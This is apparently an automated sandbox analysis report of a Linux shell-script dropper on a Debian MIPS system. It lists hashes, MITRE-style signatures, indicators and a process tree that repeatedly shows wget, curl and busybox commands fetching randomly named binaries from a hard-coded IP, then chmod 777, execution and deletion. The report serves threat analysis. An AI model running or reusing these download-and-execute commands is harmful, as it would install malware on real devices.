a83da0cf5f9f9e8f40c7551bd4aeb9e2014d1ad92004082a16d106cd38a640b5

Analysis

max time kernel
98s
max time network
101s
platform
debian-9_mips
resource
debian9-mipsbe-20240729-en
resource tags

arch:mipsimage:debian9-mipsbe-20240729-enkernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipssystem
submitted
18/11/2024, 02:39

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
a83da0cf5f9f9e8f40c7551bd4aeb9e2014d1ad92004082a16d106cd38a640b5.sh
Size 10KB
Sample241118-c5aweawkb1
SHA256 a83da0cf5f9f9e8f40c7551bd4aeb9e2014d1ad92004082a16d106cd38a640b5
MD5 a7136f5f7aad005f449adf4d9eb6e330
SHA1 b6cddbe652904c25cc2e6c5f3063fb13a4df6737
SHA512 246aa712ed98a0566dc01bd9c38641f09934c708bff0e9535d33a324e832016dc28f55477382fd2c5611a9b79d4b4430ff37fb83814b6fcbb5db8b06708b657e
SSDEEP 192:8OyzO6my8zK4ZbHrTssv9my8zK4uHrTssiAl:CzOZzL
MD5 SHA1 SHA512 SSDEEP

Score

7^/10

defense_evasion discovery

Malware Config

Signatures

File and Directory Permissions Modification 1 TTPs 28 IoCs

Adversaries may modify file or directory permissions to evade defenses.

defense_evasion

Linux and Mac File and Directory Permissions Modification

T1222.002

pid	Process
755	chmod
798	chmod
875	chmod
917	chmod
749	chmod
965	chmod
881	chmod
911	chmod
821	chmod
947	chmod
971	chmod
989	chmod
905	chmod
935	chmod
941	chmod
953	chmod
772	chmod
827	chmod
887	chmod
959	chmod
899	chmod
923	chmod
983	chmod
849	chmod
929	chmod
893	chmod
977	chmod
869	chmod

Executes dropped EXE 28 IoCs

Reads runtime system information 28 IoCs

Reads data from /proc virtual filesystem.

discovery

description	ioc	Process
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl

Writes file to tmp directory 28 IoCs

Malware often drops required files in the /tmp directory.

description	ioc	Process
File opened for modification	/tmp/9hXBhQ2qdCFdgkJ43WqodGDr2spLKsMrkF	curl
File opened for modification	/tmp/9hXBhQ2qdCFdgkJ43WqodGDr2spLKsMrkF	curl
File opened for modification	/tmp/kWeUPCVWzEG668OO4wE0Xnu2iJpq9lSENl	curl
File opened for modification	/tmp/duwXFAXWCeTO4a278SnHwENlBTnb3A1JMQ	curl
File opened for modification	/tmp/I48bwc6r6ki7VwiKVM8jomK2TOdPY8Nv6t	curl
File opened for modification	/tmp/duwXFAXWCeTO4a278SnHwENlBTnb3A1JMQ	curl
File opened for modification	/tmp/MfOQWEJJGW59km5B1XaHopRkcm1sUYDLJL	curl
File opened for modification	/tmp/Jpz5SSNw80EX8C7bbSSIVzJjtIgE823ovS	curl
File opened for modification	/tmp/IzufB9OFA2jH2E3bYWZs5rj48BdJz5R8lv	curl
File opened for modification	/tmp/u2Z5IlwnVLrLPeywV2LtjPXRCEHIOtLdTq	curl
File opened for modification	/tmp/DxvHsoPCvsxHC4OroffrQEz01NE0VZ0mM8	curl
File opened for modification	/tmp/42Bl52aa6XmQbBhBzSA1OdNr54J0Cjc7qs	curl
File opened for modification	/tmp/MfOQWEJJGW59km5B1XaHopRkcm1sUYDLJL	curl
File opened for modification	/tmp/9kwPr9G14A3vuswrzArUFY6A7t5mjzTR27	curl
File opened for modification	/tmp/1UUkxof3GqI3wNTRgH4H48fxhHtEe8pKrS	curl
File opened for modification	/tmp/qYe4YgF9mkarZg4u3go8rPtj72iaQQBsfA	curl
File opened for modification	/tmp/znuvBZSWmEaFYZKwd3K9gxnIlX6QdCrwZA	curl
File opened for modification	/tmp/9kwPr9G14A3vuswrzArUFY6A7t5mjzTR27	curl
File opened for modification	/tmp/42Bl52aa6XmQbBhBzSA1OdNr54J0Cjc7qs	curl
File opened for modification	/tmp/I48bwc6r6ki7VwiKVM8jomK2TOdPY8Nv6t	curl
File opened for modification	/tmp/DxvHsoPCvsxHC4OroffrQEz01NE0VZ0mM8	curl
File opened for modification	/tmp/1UUkxof3GqI3wNTRgH4H48fxhHtEe8pKrS	curl
File opened for modification	/tmp/IzufB9OFA2jH2E3bYWZs5rj48BdJz5R8lv	curl
File opened for modification	/tmp/qYe4YgF9mkarZg4u3go8rPtj72iaQQBsfA	curl
File opened for modification	/tmp/Jpz5SSNw80EX8C7bbSSIVzJjtIgE823ovS	curl
File opened for modification	/tmp/znuvBZSWmEaFYZKwd3K9gxnIlX6QdCrwZA	curl
File opened for modification	/tmp/u2Z5IlwnVLrLPeywV2LtjPXRCEHIOtLdTq	curl
File opened for modification	/tmp/kWeUPCVWzEG668OO4wE0Xnu2iJpq9lSENl	curl

/tmp/a83da0cf5f9f9e8f40c7551bd4aeb9e2014d1ad92004082a16d106cd38a640b5.sh
/tmp/a83da0cf5f9f9e8f40c7551bd4aeb9e2014d1ad92004082a16d106cd38a640b5.sh
1⤵
PID:718
- /bin/rm
  /bin/rm bins.sh
  2⤵
  PID:721
- /usr/bin/wget
  wget http://216.126.231.240/bins/duwXFAXWCeTO4a278SnHwENlBTnb3A1JMQ
  2⤵
  PID:726
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/duwXFAXWCeTO4a278SnHwENlBTnb3A1JMQ
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:738
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/duwXFAXWCeTO4a278SnHwENlBTnb3A1JMQ
  2⤵
  PID:747
- /bin/chmod
  chmod 777 duwXFAXWCeTO4a278SnHwENlBTnb3A1JMQ
  2⤵
  - File and Directory Permissions Modification
  PID:749
- /tmp/duwXFAXWCeTO4a278SnHwENlBTnb3A1JMQ
  ./duwXFAXWCeTO4a278SnHwENlBTnb3A1JMQ
  2⤵
  - Executes dropped EXE
  PID:750
- /bin/rm
  rm duwXFAXWCeTO4a278SnHwENlBTnb3A1JMQ
  2⤵
  PID:751
- /usr/bin/wget
  wget http://216.126.231.240/bins/u2Z5IlwnVLrLPeywV2LtjPXRCEHIOtLdTq
  2⤵
  PID:752
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/u2Z5IlwnVLrLPeywV2LtjPXRCEHIOtLdTq
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:753
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/u2Z5IlwnVLrLPeywV2LtjPXRCEHIOtLdTq
  2⤵
  PID:754
- /bin/chmod
  chmod 777 u2Z5IlwnVLrLPeywV2LtjPXRCEHIOtLdTq
  2⤵
  - File and Directory Permissions Modification
  PID:755
- /tmp/u2Z5IlwnVLrLPeywV2LtjPXRCEHIOtLdTq
  ./u2Z5IlwnVLrLPeywV2LtjPXRCEHIOtLdTq
  2⤵
  - Executes dropped EXE
  PID:756
- /bin/rm
  rm u2Z5IlwnVLrLPeywV2LtjPXRCEHIOtLdTq
  2⤵
  PID:757
- /usr/bin/wget
  wget http://216.126.231.240/bins/MfOQWEJJGW59km5B1XaHopRkcm1sUYDLJL
  2⤵
  PID:758
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/MfOQWEJJGW59km5B1XaHopRkcm1sUYDLJL
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:759
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/MfOQWEJJGW59km5B1XaHopRkcm1sUYDLJL
  2⤵
  PID:768
- /bin/chmod
  chmod 777 MfOQWEJJGW59km5B1XaHopRkcm1sUYDLJL
  2⤵
  - File and Directory Permissions Modification
  PID:772
- /tmp/MfOQWEJJGW59km5B1XaHopRkcm1sUYDLJL
  ./MfOQWEJJGW59km5B1XaHopRkcm1sUYDLJL
  2⤵
  - Executes dropped EXE
  PID:774
- /bin/rm
  rm MfOQWEJJGW59km5B1XaHopRkcm1sUYDLJL
  2⤵
  PID:777
- /usr/bin/wget
  wget http://216.126.231.240/bins/9kwPr9G14A3vuswrzArUFY6A7t5mjzTR27
  2⤵
  PID:778
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/9kwPr9G14A3vuswrzArUFY6A7t5mjzTR27
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:785
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/9kwPr9G14A3vuswrzArUFY6A7t5mjzTR27
  2⤵
  PID:793
- /bin/chmod
  chmod 777 9kwPr9G14A3vuswrzArUFY6A7t5mjzTR27
  2⤵
  - File and Directory Permissions Modification
  PID:798
- /tmp/9kwPr9G14A3vuswrzArUFY6A7t5mjzTR27
  ./9kwPr9G14A3vuswrzArUFY6A7t5mjzTR27
  2⤵
  - Executes dropped EXE
  PID:799
- /bin/rm
  rm 9kwPr9G14A3vuswrzArUFY6A7t5mjzTR27
  2⤵
  PID:803
- /usr/bin/wget
  wget http://216.126.231.240/bins/znuvBZSWmEaFYZKwd3K9gxnIlX6QdCrwZA
  2⤵
  PID:805
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/znuvBZSWmEaFYZKwd3K9gxnIlX6QdCrwZA
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:816
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/znuvBZSWmEaFYZKwd3K9gxnIlX6QdCrwZA
  2⤵
  PID:817
- /bin/chmod
  chmod 777 znuvBZSWmEaFYZKwd3K9gxnIlX6QdCrwZA
  2⤵
  - File and Directory Permissions Modification
  PID:821
- /tmp/znuvBZSWmEaFYZKwd3K9gxnIlX6QdCrwZA
  ./znuvBZSWmEaFYZKwd3K9gxnIlX6QdCrwZA
  2⤵
  - Executes dropped EXE
  PID:822
- /bin/rm
  rm znuvBZSWmEaFYZKwd3K9gxnIlX6QdCrwZA
  2⤵
  PID:823
- /usr/bin/wget
  wget http://216.126.231.240/bins/kWeUPCVWzEG668OO4wE0Xnu2iJpq9lSENl
  2⤵
  PID:824
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/kWeUPCVWzEG668OO4wE0Xnu2iJpq9lSENl
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:825
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/kWeUPCVWzEG668OO4wE0Xnu2iJpq9lSENl
  2⤵
  PID:826
- /bin/chmod
  chmod 777 kWeUPCVWzEG668OO4wE0Xnu2iJpq9lSENl
  2⤵
  - File and Directory Permissions Modification
  PID:827
- /tmp/kWeUPCVWzEG668OO4wE0Xnu2iJpq9lSENl
  ./kWeUPCVWzEG668OO4wE0Xnu2iJpq9lSENl
  2⤵
  - Executes dropped EXE
  PID:828
- /bin/rm
  rm kWeUPCVWzEG668OO4wE0Xnu2iJpq9lSENl
  2⤵
  PID:829
- /usr/bin/wget
  wget http://216.126.231.240/bins/42Bl52aa6XmQbBhBzSA1OdNr54J0Cjc7qs
  2⤵
  PID:830
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/42Bl52aa6XmQbBhBzSA1OdNr54J0Cjc7qs
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:837
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/42Bl52aa6XmQbBhBzSA1OdNr54J0Cjc7qs
  2⤵
  PID:842
- /bin/chmod
  chmod 777 42Bl52aa6XmQbBhBzSA1OdNr54J0Cjc7qs
  2⤵
  - File and Directory Permissions Modification
  PID:849
- /tmp/42Bl52aa6XmQbBhBzSA1OdNr54J0Cjc7qs
  ./42Bl52aa6XmQbBhBzSA1OdNr54J0Cjc7qs
  2⤵
  - Executes dropped EXE
  PID:850
- /bin/rm
  rm 42Bl52aa6XmQbBhBzSA1OdNr54J0Cjc7qs
  2⤵
  PID:853
- /usr/bin/wget
  wget http://216.126.231.240/bins/1UUkxof3GqI3wNTRgH4H48fxhHtEe8pKrS
  2⤵
  PID:854
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/1UUkxof3GqI3wNTRgH4H48fxhHtEe8pKrS
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:861
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/1UUkxof3GqI3wNTRgH4H48fxhHtEe8pKrS
  2⤵
  PID:868
- /bin/chmod
  chmod 777 1UUkxof3GqI3wNTRgH4H48fxhHtEe8pKrS
  2⤵
  - File and Directory Permissions Modification
  PID:869
- /tmp/1UUkxof3GqI3wNTRgH4H48fxhHtEe8pKrS
  ./1UUkxof3GqI3wNTRgH4H48fxhHtEe8pKrS
  2⤵
  - Executes dropped EXE
  PID:870
- /bin/rm
  rm 1UUkxof3GqI3wNTRgH4H48fxhHtEe8pKrS
  2⤵
  PID:871
- /usr/bin/wget
  wget http://216.126.231.240/bins/I48bwc6r6ki7VwiKVM8jomK2TOdPY8Nv6t
  2⤵
  PID:872
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/I48bwc6r6ki7VwiKVM8jomK2TOdPY8Nv6t
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:873
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/I48bwc6r6ki7VwiKVM8jomK2TOdPY8Nv6t
  2⤵
  PID:874
- /bin/chmod
  chmod 777 I48bwc6r6ki7VwiKVM8jomK2TOdPY8Nv6t
  2⤵
  - File and Directory Permissions Modification
  PID:875
- /tmp/I48bwc6r6ki7VwiKVM8jomK2TOdPY8Nv6t
  ./I48bwc6r6ki7VwiKVM8jomK2TOdPY8Nv6t
  2⤵
  - Executes dropped EXE
  PID:876
- /bin/rm
  rm I48bwc6r6ki7VwiKVM8jomK2TOdPY8Nv6t
  2⤵
  PID:877
- /usr/bin/wget
  wget http://216.126.231.240/bins/qYe4YgF9mkarZg4u3go8rPtj72iaQQBsfA
  2⤵
  PID:878
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/qYe4YgF9mkarZg4u3go8rPtj72iaQQBsfA
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:879
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/qYe4YgF9mkarZg4u3go8rPtj72iaQQBsfA
  2⤵
  PID:880
- /bin/chmod
  chmod 777 qYe4YgF9mkarZg4u3go8rPtj72iaQQBsfA
  2⤵
  - File and Directory Permissions Modification
  PID:881
- /tmp/qYe4YgF9mkarZg4u3go8rPtj72iaQQBsfA
  ./qYe4YgF9mkarZg4u3go8rPtj72iaQQBsfA
  2⤵
  - Executes dropped EXE
  PID:882
- /bin/rm
  rm qYe4YgF9mkarZg4u3go8rPtj72iaQQBsfA
  2⤵
  PID:883
- /usr/bin/wget
  wget http://216.126.231.240/bins/Jpz5SSNw80EX8C7bbSSIVzJjtIgE823ovS
  2⤵
  PID:884
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/Jpz5SSNw80EX8C7bbSSIVzJjtIgE823ovS
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:885
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/Jpz5SSNw80EX8C7bbSSIVzJjtIgE823ovS
  2⤵
  PID:886
- /bin/chmod
  chmod 777 Jpz5SSNw80EX8C7bbSSIVzJjtIgE823ovS
  2⤵
  - File and Directory Permissions Modification
  PID:887
- /tmp/Jpz5SSNw80EX8C7bbSSIVzJjtIgE823ovS
  ./Jpz5SSNw80EX8C7bbSSIVzJjtIgE823ovS
  2⤵
  - Executes dropped EXE
  PID:888
- /bin/rm
  rm Jpz5SSNw80EX8C7bbSSIVzJjtIgE823ovS
  2⤵
  PID:889
- /usr/bin/wget
  wget http://216.126.231.240/bins/IzufB9OFA2jH2E3bYWZs5rj48BdJz5R8lv
  2⤵
  PID:890
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/IzufB9OFA2jH2E3bYWZs5rj48BdJz5R8lv
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:891
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/IzufB9OFA2jH2E3bYWZs5rj48BdJz5R8lv
  2⤵
  PID:892
- /bin/chmod
  chmod 777 IzufB9OFA2jH2E3bYWZs5rj48BdJz5R8lv
  2⤵
  - File and Directory Permissions Modification
  PID:893
- /tmp/IzufB9OFA2jH2E3bYWZs5rj48BdJz5R8lv
  ./IzufB9OFA2jH2E3bYWZs5rj48BdJz5R8lv
  2⤵
  - Executes dropped EXE
  PID:894
- /bin/rm
  rm IzufB9OFA2jH2E3bYWZs5rj48BdJz5R8lv
  2⤵
  PID:895
- /usr/bin/wget
  wget http://216.126.231.240/bins/DxvHsoPCvsxHC4OroffrQEz01NE0VZ0mM8
  2⤵
  PID:896
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/DxvHsoPCvsxHC4OroffrQEz01NE0VZ0mM8
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:897
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/DxvHsoPCvsxHC4OroffrQEz01NE0VZ0mM8
  2⤵
  PID:898
- /bin/chmod
  chmod 777 DxvHsoPCvsxHC4OroffrQEz01NE0VZ0mM8
  2⤵
  - File and Directory Permissions Modification
  PID:899
- /tmp/DxvHsoPCvsxHC4OroffrQEz01NE0VZ0mM8
  ./DxvHsoPCvsxHC4OroffrQEz01NE0VZ0mM8
  2⤵
  - Executes dropped EXE
  PID:900
- /bin/rm
  rm DxvHsoPCvsxHC4OroffrQEz01NE0VZ0mM8
  2⤵
  PID:901
- /usr/bin/wget
  wget http://216.126.231.240/bins/9hXBhQ2qdCFdgkJ43WqodGDr2spLKsMrkF
  2⤵
  PID:902
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/9hXBhQ2qdCFdgkJ43WqodGDr2spLKsMrkF
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:903
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/9hXBhQ2qdCFdgkJ43WqodGDr2spLKsMrkF
  2⤵
  PID:904
- /bin/chmod
  chmod 777 9hXBhQ2qdCFdgkJ43WqodGDr2spLKsMrkF
  2⤵
  - File and Directory Permissions Modification
  PID:905
- /tmp/9hXBhQ2qdCFdgkJ43WqodGDr2spLKsMrkF
  ./9hXBhQ2qdCFdgkJ43WqodGDr2spLKsMrkF
  2⤵
  - Executes dropped EXE
  PID:906
- /bin/rm
  rm 9hXBhQ2qdCFdgkJ43WqodGDr2spLKsMrkF
  2⤵
  PID:907
- /usr/bin/wget
  wget http://216.126.231.240/bins/1UUkxof3GqI3wNTRgH4H48fxhHtEe8pKrS
  2⤵
  PID:908
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/1UUkxof3GqI3wNTRgH4H48fxhHtEe8pKrS
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:909
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/1UUkxof3GqI3wNTRgH4H48fxhHtEe8pKrS
  2⤵
  PID:910
- /bin/chmod
  chmod 777 1UUkxof3GqI3wNTRgH4H48fxhHtEe8pKrS
  2⤵
  - File and Directory Permissions Modification
  PID:911
- /tmp/1UUkxof3GqI3wNTRgH4H48fxhHtEe8pKrS
  ./1UUkxof3GqI3wNTRgH4H48fxhHtEe8pKrS
  2⤵
  - Executes dropped EXE
  PID:912
- /bin/rm
  rm 1UUkxof3GqI3wNTRgH4H48fxhHtEe8pKrS
  2⤵
  PID:913
- /usr/bin/wget
  wget http://216.126.231.240/bins/I48bwc6r6ki7VwiKVM8jomK2TOdPY8Nv6t
  2⤵
  PID:914
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/I48bwc6r6ki7VwiKVM8jomK2TOdPY8Nv6t
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:915
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/I48bwc6r6ki7VwiKVM8jomK2TOdPY8Nv6t
  2⤵
  PID:916
- /bin/chmod
  chmod 777 I48bwc6r6ki7VwiKVM8jomK2TOdPY8Nv6t
  2⤵
  - File and Directory Permissions Modification
  PID:917
- /tmp/I48bwc6r6ki7VwiKVM8jomK2TOdPY8Nv6t
  ./I48bwc6r6ki7VwiKVM8jomK2TOdPY8Nv6t
  2⤵
  - Executes dropped EXE
  PID:918
- /bin/rm
  rm I48bwc6r6ki7VwiKVM8jomK2TOdPY8Nv6t
  2⤵
  PID:919
- /usr/bin/wget
  wget http://216.126.231.240/bins/IzufB9OFA2jH2E3bYWZs5rj48BdJz5R8lv
  2⤵
  PID:920
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/IzufB9OFA2jH2E3bYWZs5rj48BdJz5R8lv
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:921
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/IzufB9OFA2jH2E3bYWZs5rj48BdJz5R8lv
  2⤵
  PID:922
- /bin/chmod
  chmod 777 IzufB9OFA2jH2E3bYWZs5rj48BdJz5R8lv
  2⤵
  - File and Directory Permissions Modification
  PID:923
- /tmp/IzufB9OFA2jH2E3bYWZs5rj48BdJz5R8lv
  ./IzufB9OFA2jH2E3bYWZs5rj48BdJz5R8lv
  2⤵
  - Executes dropped EXE
  PID:924
- /bin/rm
  rm IzufB9OFA2jH2E3bYWZs5rj48BdJz5R8lv
  2⤵
  PID:925
- /usr/bin/wget
  wget http://216.126.231.240/bins/qYe4YgF9mkarZg4u3go8rPtj72iaQQBsfA
  2⤵
  PID:926
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/qYe4YgF9mkarZg4u3go8rPtj72iaQQBsfA
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:927
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/qYe4YgF9mkarZg4u3go8rPtj72iaQQBsfA
  2⤵
  PID:928
- /bin/chmod
  chmod 777 qYe4YgF9mkarZg4u3go8rPtj72iaQQBsfA
  2⤵
  - File and Directory Permissions Modification
  PID:929
- /tmp/qYe4YgF9mkarZg4u3go8rPtj72iaQQBsfA
  ./qYe4YgF9mkarZg4u3go8rPtj72iaQQBsfA
  2⤵
  - Executes dropped EXE
  PID:930
- /bin/rm
  rm qYe4YgF9mkarZg4u3go8rPtj72iaQQBsfA
  2⤵
  PID:931
- /usr/bin/wget
  wget http://216.126.231.240/bins/Jpz5SSNw80EX8C7bbSSIVzJjtIgE823ovS
  2⤵
  PID:932
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/Jpz5SSNw80EX8C7bbSSIVzJjtIgE823ovS
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:933
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/Jpz5SSNw80EX8C7bbSSIVzJjtIgE823ovS
  2⤵
  PID:934
- /bin/chmod
  chmod 777 Jpz5SSNw80EX8C7bbSSIVzJjtIgE823ovS
  2⤵
  - File and Directory Permissions Modification
  PID:935
- /tmp/Jpz5SSNw80EX8C7bbSSIVzJjtIgE823ovS
  ./Jpz5SSNw80EX8C7bbSSIVzJjtIgE823ovS
  2⤵
  - Executes dropped EXE
  PID:936
- /bin/rm
  rm Jpz5SSNw80EX8C7bbSSIVzJjtIgE823ovS
  2⤵
  PID:937
- /usr/bin/wget
  wget http://216.126.231.240/bins/DxvHsoPCvsxHC4OroffrQEz01NE0VZ0mM8
  2⤵
  PID:938
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/DxvHsoPCvsxHC4OroffrQEz01NE0VZ0mM8
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:939
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/DxvHsoPCvsxHC4OroffrQEz01NE0VZ0mM8
  2⤵
  PID:940
- /bin/chmod
  chmod 777 DxvHsoPCvsxHC4OroffrQEz01NE0VZ0mM8
  2⤵
  - File and Directory Permissions Modification
  PID:941
- /tmp/DxvHsoPCvsxHC4OroffrQEz01NE0VZ0mM8
  ./DxvHsoPCvsxHC4OroffrQEz01NE0VZ0mM8
  2⤵
  - Executes dropped EXE
  PID:942
- /bin/rm
  rm DxvHsoPCvsxHC4OroffrQEz01NE0VZ0mM8
  2⤵
  PID:943
- /usr/bin/wget
  wget http://216.126.231.240/bins/9hXBhQ2qdCFdgkJ43WqodGDr2spLKsMrkF
  2⤵
  PID:944
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/9hXBhQ2qdCFdgkJ43WqodGDr2spLKsMrkF
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:945
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/9hXBhQ2qdCFdgkJ43WqodGDr2spLKsMrkF
  2⤵
  PID:946
- /bin/chmod
  chmod 777 9hXBhQ2qdCFdgkJ43WqodGDr2spLKsMrkF
  2⤵
  - File and Directory Permissions Modification
  PID:947
- /tmp/9hXBhQ2qdCFdgkJ43WqodGDr2spLKsMrkF
  ./9hXBhQ2qdCFdgkJ43WqodGDr2spLKsMrkF
  2⤵
  - Executes dropped EXE
  PID:948
- /bin/rm
  rm 9hXBhQ2qdCFdgkJ43WqodGDr2spLKsMrkF
  2⤵
  PID:949
- /usr/bin/wget
  wget http://216.126.231.240/bins/kWeUPCVWzEG668OO4wE0Xnu2iJpq9lSENl
  2⤵
  PID:950
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/kWeUPCVWzEG668OO4wE0Xnu2iJpq9lSENl
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:951
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/kWeUPCVWzEG668OO4wE0Xnu2iJpq9lSENl
  2⤵
  PID:952
- /bin/chmod
  chmod 777 kWeUPCVWzEG668OO4wE0Xnu2iJpq9lSENl
  2⤵
  - File and Directory Permissions Modification
  PID:953
- /tmp/kWeUPCVWzEG668OO4wE0Xnu2iJpq9lSENl
  ./kWeUPCVWzEG668OO4wE0Xnu2iJpq9lSENl
  2⤵
  - Executes dropped EXE
  PID:954
- /bin/rm
  rm kWeUPCVWzEG668OO4wE0Xnu2iJpq9lSENl
  2⤵
  PID:955
- /usr/bin/wget
  wget http://216.126.231.240/bins/42Bl52aa6XmQbBhBzSA1OdNr54J0Cjc7qs
  2⤵
  PID:956
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/42Bl52aa6XmQbBhBzSA1OdNr54J0Cjc7qs
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:957
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/42Bl52aa6XmQbBhBzSA1OdNr54J0Cjc7qs
  2⤵
  PID:958
- /bin/chmod
  chmod 777 42Bl52aa6XmQbBhBzSA1OdNr54J0Cjc7qs
  2⤵
  - File and Directory Permissions Modification
  PID:959
- /tmp/42Bl52aa6XmQbBhBzSA1OdNr54J0Cjc7qs
  ./42Bl52aa6XmQbBhBzSA1OdNr54J0Cjc7qs
  2⤵
  - Executes dropped EXE
  PID:960
- /bin/rm
  rm 42Bl52aa6XmQbBhBzSA1OdNr54J0Cjc7qs
  2⤵
  PID:961
- /usr/bin/wget
  wget http://216.126.231.240/bins/duwXFAXWCeTO4a278SnHwENlBTnb3A1JMQ
  2⤵
  PID:962
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/duwXFAXWCeTO4a278SnHwENlBTnb3A1JMQ
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:963
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/duwXFAXWCeTO4a278SnHwENlBTnb3A1JMQ
  2⤵
  PID:964
- /bin/chmod
  chmod 777 duwXFAXWCeTO4a278SnHwENlBTnb3A1JMQ
  2⤵
  - File and Directory Permissions Modification
  PID:965
- /tmp/duwXFAXWCeTO4a278SnHwENlBTnb3A1JMQ
  ./duwXFAXWCeTO4a278SnHwENlBTnb3A1JMQ
  2⤵
  - Executes dropped EXE
  PID:966
- /bin/rm
  rm duwXFAXWCeTO4a278SnHwENlBTnb3A1JMQ
  2⤵
  PID:967
- /usr/bin/wget
  wget http://216.126.231.240/bins/u2Z5IlwnVLrLPeywV2LtjPXRCEHIOtLdTq
  2⤵
  PID:968
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/u2Z5IlwnVLrLPeywV2LtjPXRCEHIOtLdTq
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:969
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/u2Z5IlwnVLrLPeywV2LtjPXRCEHIOtLdTq
  2⤵
  PID:970
- /bin/chmod
